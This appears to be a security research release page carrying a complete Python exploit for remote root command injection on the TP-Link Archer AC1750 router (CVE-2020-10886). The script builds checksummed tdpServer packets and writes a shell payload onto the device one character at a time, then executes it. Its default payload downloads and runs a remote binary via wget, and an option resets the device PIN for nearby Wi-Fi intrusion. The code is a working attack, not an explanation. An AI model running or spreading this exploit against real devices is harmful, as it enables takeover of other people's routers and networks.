Impromptu Icebreaker: TP-Link Archer AC1750 Remote Root Command Injection Exploit

Table of contents

Published on:
2021-04-04 04:31:11 +0000 UTC
Last modified:
2022-08-22 10:00:56 +0000 UTC

We would like to dedicate this release to maxpl0it (keep an eye on his offensive security work at https://twitter.com/maxpl0it) :-)

  1#
  2# Copyright (C) 2020-2022 Subreption LLC. All rights reserved.
  3#
  4# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS”
  5# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
  6# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
  7# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
  8# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
  9# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
 10# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
 11# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
 12# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
 13# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
 14# THE POSSIBILITY OF SUCH DAMAGE.
 15#
 16# Humor and comments belong to the author(s). Commercial use forbidden.
 17# Company does not police or censor its employees' work when performed
 18# outside of designated engagements. Opinions and comments expressed herein
 19# belong to their respective author(s) and may not reflect those of the company.
 20#
 21# Targets CVE-2020-10886 (related to CVE-2020-10882)
 22# Author: vogelfrei
 23# Props to max (maxspl0it) ;>
 24#
 25
 26import sys
 27import getopt
 28import socket
 29import ssl
 30import struct
 31import binascii
 32
 33PKT_ASSOC  = struct.pack('<BBh', 1, 1, 1)
 34PKT_ACCEPT = struct.pack('<BBh', 1, 0, 2)
 35# xxx +3 needed to account for the hdr size of the ssn packet
 36#PKT_SSN    = struct.pack('<BBB', 0xfe, len(CMD_SERVICE_NAME) + 3, 0x11) + CMD_SERVICE_NAME
 37
 38SCRIPT_CONTENTS = 'wget http://127.0.0.1:9999/x -O /tmp/x; chmod +x /tmp/x; /tmp/x'
 39
 40STEP_ASSOC_DONE = 1
 41STEP_DELIVERING_PAYLOAD = 2
 42STEP_PAYLOAD_READY = 3
 43STEP_SUCCESSFUL = 4
 44
 45class ImpromptuIcebreaker(object):
 46    def __init__(self, target_host='127.0.0.1', target_port=20002, debug=False, reset_pin=False):
 47        self.context = ssl._create_unverified_context()
 48        self.host = target_host
 49        self.port = target_port
 50        self.debug = debug
 51        self.step = 0
 52        self.initial_stream = b''
 53        self.payload_counter = 0
 54        self.payload_total = 0
 55        self.payload = ''
 56        self.reset_pin = reset_pin
 57        
 58    #
 59    # Endianness is important!
 60    #
 61    def build_cmd_pkt(self, data):
 62        header = struct.pack("B", 1) # always 1
 63        header += struct.pack("B", 0) # version
 64        header += struct.pack("<H", 5) # packet type
 65        header += struct.pack("!H", 8+len(data)) # from after checksum (length)
 66        header += struct.pack("<H", 0) # flags
 67        header += struct.pack("!L", 0xdeadbeef) # serial
 68        header += struct.pack("!L", 0x5a6b7c8d) # placeholder for checksum
 69        header += struct.pack("!B", 2) # btype
 70        header += struct.pack("!B", 1) # always 1
 71        header += struct.pack("!B", 0x03) # function type/opcode
 72        header += struct.pack("!B", 0x0d) # function selector
 73        header += struct.pack("!L", 0) # some padding maybe?
 74        crc32 = binascii.crc32(header + data)
 75        checksum = struct.pack('!L', crc32)
 76        header = header[:12] + checksum + header[16:]
 77        return header + data
 78
 79    """
 80     Reset the PIN to 12345678 (useful for physical attacks/nearby WiFi intrusion)
 81    """
 82    def reset_pin_to_lame(self, s):
 83        print('[*] Resetting PIN to 12345678!')
 84        cmd = self.build_cmd_pkt(bytes('12345678', 'utf-8'))
 85        self.send_data(s, cmd)
 86    
 87    def send_data(self, s, data, verbose=False):
 88        if verbose:
 89            print('[*] sending data (len %d)' % (len(data)))
 90            
 91        return s.send(data)
 92
 93    def set_payload(self, script_contents=SCRIPT_CONTENTS):
 94        self.payload_counter = 0
 95        self.payload_total = int(len(script_contents))
 96        self.payload = script_contents
 97
 98    def print_payload_progress(self, offensive=True):
 99        mod = int(self.payload_total / 5)
100        if (int(self.payload_counter) + 1) % mod == 0:
101            percentage = 30 * ((int(self.payload_counter) + 1) / mod)
102            nbars = int((percentage * 2 / 10 - 1) - 1)
103            ndashes = int(30 - (percentage * 2 / 10))
104            if offensive:
105                bars = '=' * nbars
106                dashes = ' ' * ndashes
107                txt = '[0%] 8=' + bars + 'D' + dashes + ' (( [100%]'
108                print(txt + '(%.2d bytes remaining)' % (self.payload_total - self.payload_counter))
109            else:
110                bars = '=' * nbars
111                dashes = '-' * ndashes
112                print('[0%]=>' + bars + dashes + '[100%]')
113            if percentage == 100:
114                pass
115    
116    """   
117        echo %c%c%c%c%c%c%c%c  > /tmp/pin-tmp"
118    """ 
119    def send_payload_stage_old(self, s):
120        if self.step == STEP_DELIVERING_PAYLOAD:
121            if self.payload_counter == 0:           
122                # reset the file at 0
123                print('[+] Resetting payload file at target...')
124                reset = self.build_cmd_pkt(bytes('-n >a;', 'utf-8'))
125                self.send_data(s, reset)
126            
127            if self.payload_counter == self.payload_total:
128                self.step = STEP_PAYLOAD_READY
129                print('[*] Payload written to target.')
130                return STEP_PAYLOAD_READY
131            
132            c = self.payload[self.payload_counter]
133            if c == ' ':
134                cmd = struct.pack('BBBB', 0x5c, 0x20, 0x5c, 0x5c) + b'>>a;'
135            elif c == ';':
136                cmd = struct.pack('BBBB', 0x5c, 0x3b, 0x5c, 0x5c) + b'>>a;'
137            else:
138                if c.isdigit():
139                    cmd = bytes('%s' % (c), 'utf-8')
140                    # the trailing \x00 is a must
141                    cmd += struct.pack('BB', 0x5c, 0x5c) + b'>>a;\0'
142                else:
143                    cmd = '-n %s>>a;' % (c)
144                    cmd = bytes(cmd, 'utf-8')
145                
146            stage = self.build_cmd_pkt(cmd)
147            # Convert and send
148            self.send_data(s, stage)
149            
150            self.payload_counter += 1
151            return STEP_DELIVERING_PAYLOAD
152            
153        elif self.step == STEP_PAYLOAD_READY:
154            print('[+] Payload ready! Executing at target...')
155            pkt_cmd = self.build_cmd_pkt(bytes(';sh a;\0', 'utf-8'))
156            self.send_data(s, pkt_cmd)
157            
158            # This is not exactly ready for use...
159            #print('[*] Attempting to cleanup/delete payload from target...')
160            #pkt_cmd = self.build_cmd_pkt(bytes(';rm a;', 'utf-8'))
161            #self.send_data(s, pkt_cmd)
162            # or maybe this is the lamer-proof surprise.
163            # protip: learn how to cleanup after yourself!
164            
165            self.step = STEP_SUCCESSFUL
166        
167        return self.step
168
169    """
170     This is great for LAN/subnet scenarios. It will allow LUA code exec via tftp piggybacking
171     back to us.
172    """
173    def send_payload_tddp(self, s):
174        if self.step == STEP_DELIVERING_PAYLOAD:
175            print('[*] Running tddp...')
176            cmd = self.build_cmd_pkt(bytes(';tddp;', 'utf-8'))
177            self.send_data(s, cmd)
178            print('[!] Remember to pick TDDP stage exploit and run it now! (verify port 1040 is open)')
179            self.step = STEP_SUCCESSFUL
180            return
181    
182
183    def run(self, ssock):
184        success = False
185        
186        if self.step == 0:
187            print('[*] Adding ASSOC packet to stream  (state 1 -> 2)')
188            self.initial_stream += PKT_ASSOC
189            print('[*] Adding ACCEPT packet to stream (state 2 -> 3)')
190            self.initial_stream += PKT_ACCEPT
191        
192        print('[*] Connected! The fuckery begins!')
193        
194        if self.step == 0:
195            print('[+] Sending initial stream (ASSOC+ACCEPT)...')
196            self.send_data(ssock, self.initial_stream)
197            self.step = STEP_ASSOC_DONE
198            print('[*] Waiting for initial response')
199        
200        while True:
201            if (self.step > 0):
202                data = ssock.recv(1024)
203                if (len(data) < 1):
204                    print('[!] Nothing received!')
205                    break
206
207            if data[0] == 0x01 and data[1] == 0x00:
208                if self.step == STEP_ASSOC_DONE:
209                    print('[*] Response seems OK:')
210                    print(binascii.hexlify(data))
211                    print('[*] ASSOC/REQ/ACCEPT worked, we are ready! :>')
212                    
213                    if self.reset_pin:
214                        # Reset the PIN just in case we are nearby ;>
215                        self.reset_pin_to_lame(ssock)
216                        
217                    print('[+] Delivering payload (one char at a time)')
218                    self.step = STEP_DELIVERING_PAYLOAD
219
220                self.send_payload_stage_old(ssock)
221                self.print_payload_progress()
222            
223                if self.step == STEP_SUCCESSFUL:
224                    print('[*] Success!')
225                    break
226
227    def exploit(self, use_ssl=False):
228        self.set_payload()
229            
230        with socket.create_connection((self.host, self.port)) as sock:
231            if use_ssl:
232                with self.context.wrap_socket(sock, server_hostname=self.host) as ssock:
233                    print(ssock.version())
234                    self.run(ssock)
235            else:
236               with sock as ssock:
237                    self.run(ssock)
238
239def main(argv):
240    host = '127.0.0.1'
241    port = 20002
242    do_ssl = False
243    
244    try:
245        opts, args = getopt.getopt(argv,"hst:p:",["ssl","target=","port="])
246    except getopt.GetoptError:
247        sys.exit(2)
248    for opt, arg in opts:
249        if opt == '-h':
250            sys.exit()
251        elif opt in ("-t", "--target"):
252            host = arg
253        elif opt in ("-p", "--port"):
254            port = arg
255        elif opt in ("-s", "--ssl"):
256            do_ssl = True
257
258    exploit = ImpromptuIcebreaker(host, port)
259    exploit.exploit(use_ssl=do_ssl)
260
261if __name__ == "__main__":
262    main(sys.argv[1:])